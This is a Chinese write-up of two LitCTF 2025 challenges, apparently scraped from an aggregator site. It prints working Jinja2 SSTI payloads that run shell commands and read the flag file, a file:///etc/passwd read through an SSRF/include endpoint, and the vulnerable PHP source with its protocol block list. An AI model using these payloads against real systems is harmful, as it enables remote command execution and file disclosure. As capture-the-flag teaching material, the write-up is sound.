当前位置: 首页 > news >正文

[LitCTF 2025]星愿信箱easy_signin题解

[LitCTF 2025]星愿信箱

测试下是否存在SSTI,发现输入{{7*7}}被过滤了,那就可能是题目中将{{}}进行了过滤

进行绕过,如果{{被过滤,可以使用{% %}语法

可以正常回显

可以利用命令查看有那些函数,把当前 Jinja2 模板执行环境(上下文)中所有可以直接调用的变量名、函数名全部列出来

{%print(self.__dict__.TemplateReference_context.keys())%}

进行测试,这里用lipsum

{% print(lipsum.__globals__['__builtins__']['__import__']('os').popen('whoami').read()) %}

查看根目录下的内容,找到flag文件

{% print(lipsum.__globals__['__builtins__']['__import__']('os').popen('ls /').read()) %}

因为这里对读取命令有一点小过滤,所以进行绕过一下:tac /f*

{% print(lipsum.__globals__['__builtins__']['__import__']('os').popen('tac /f*').read()) %}

使用config也可以

{% print(config.__init__.__globals__['os'].popen('whoami').read()) %}
[LitCTF 2025]easy_signin

题目403,先扫一下目录

扫到两个目录

尝试登录一直显示账号错误,然后账号不能进行修改

修改前端代码更换账号也是显示账号错误

查看下源码,发现个api.js

有个路径/api/sys/urlcode.php

尝试读取/etc/passwd,发现可以成功读取到

?url=file:///etc/passwd

file协议可用,利用file协议进行源码读取

查看源码

得到源码中禁止的一些协议ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://

<b>file:///var/www/html/api/sys/urlcode.php 的快照如下:</b><br><br><pre><?php error_reporting(0); function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_REQUEST['url']; if($url){ $forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://']; $protocol_block = false; foreach ($forbidden_protocols as $proto) { if (strpos($url, $proto) === 0) { $protocol_block = true; break; } } $log_block = strpos($url, '.log') !== false; if ($protocol_block) { echo "禁止访问:不允许使用 {$proto} 协议"; } elseif ($log_block) { echo "禁止访问:URL 包含 .log"; } elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) { echo "看不见哦"; } else { echo "<b>".$url." 的快照如下:</b><br><br>"; echo "<pre>"; curl($url); include($url); echo "</pre>"; } } ?>

这直接访问这个/327a6c4304ad5938eaf0efb6cc3e53dc.php,就得到了flag,好像是非预期

http://www.jsqmd.com/news/893594/

相关文章:

  • 告别龟速!实测FastCopy 3.92汉化版,百万小文件拷贝速度提升10倍
  • 被骂上热搜!粉木耳标签涉嫌低俗擦边。盒马火速致歉并下架
  • 2026年现阶段,常德业主如何精准选择卫生间防水实力企业? - 2026年企业资讯
  • 别再只画轮廓了!用OpenCV的cv2.findContours()实现物体计数与尺寸测量(Python实战)
  • 最近折腾了几个 AI 开源项目,最后发现最省事的还是先搞一个大模型中转站
  • 2232344
  • 2026年5月专业的一建噪声防护课培训公司推荐厂家推荐榜,面授精讲、线上录播、一对一私教、考前密训、企业定制五种班型厂家选择指南 - 海棠依旧大
  • 2026年亚马逊还能做吗? - 易派
  • AI代理内存管理:TTL与智能遗忘策略的工程实践
  • 卖无纺布怎么找客户?下游工厂和产业带在哪里
  • (毕业必看)实测好用的AI写作辅助网站,毕业生收藏备用
  • VSCode Live Server插件避坑指南:为什么你的HTML文件打开变成了‘listing directory‘?
  • 基于GraphCodeBERT语义嵌入的软件协同变更预测实战指南
  • 代码审查:团队协作与代码质量保障
  • 独家拆解2026年Top 5 AI工具底层架构(含LLM Runtime兼容性报告):为什么92%的技术选型会误判编排层风险?
  • 基于 PLC 的磨线机和剥线机控制系统的设计与实现(设计源文件+万字报告+讲解)(支持资料、图片参考_降重降ai)_文章底部可以扫码
  • 【K8s】Pod
  • Python事件驱动架构实战:构建高可用异步系统
  • 2026年 东莞/广州溶剂厂家推荐榜:天那水、白电油、稀释剂、石脑油等工业溶剂源头厂商实力口碑精选 - 品牌企业推荐师(官方)
  • 2026成都诚信音响设备旧货回收服务商推荐榜:二手空调回收、二手空调旧货回收市场、办公家具旧货回收市场、变压器旧货回收市场选择指南 - 优质品牌商家
  • CANN 学习路线 - CANN学习路径规划与资源推荐
  • 别再手动标点了!OpenCV相机标定后,用undistort()一键搞定图像去畸变(附Python代码)
  • 模型驱动的汽车稳定性控制系统关键技术【附程序】
  • 程序验证理论
  • 2026年食品级碳酸氢铵厂家名录:工业碳铵生产企业/工业级碳酸氢铵生产企业/工业级碳铵生产企业/食品碳酸氢铵生产企业/选择指南 - 优质品牌商家
  • 【图像检测】基于霍夫变换实现道路检测附Matlab代码
  • 5分钟掌握Ofd2Pdf:免费开源OFD转PDF工具终极指南
  • 光帆首款带摄像头 AI 耳机首发价 1999 元;飞拓星驰发布硬件体感游戏平台 Fit-OS:端侧实时 3D 动捕达 120 FPS丨日报
  • 大模型API定价全解析:从百倍价差到成本优化实战
  • 消息发送失败处理与 DLQ 补偿流程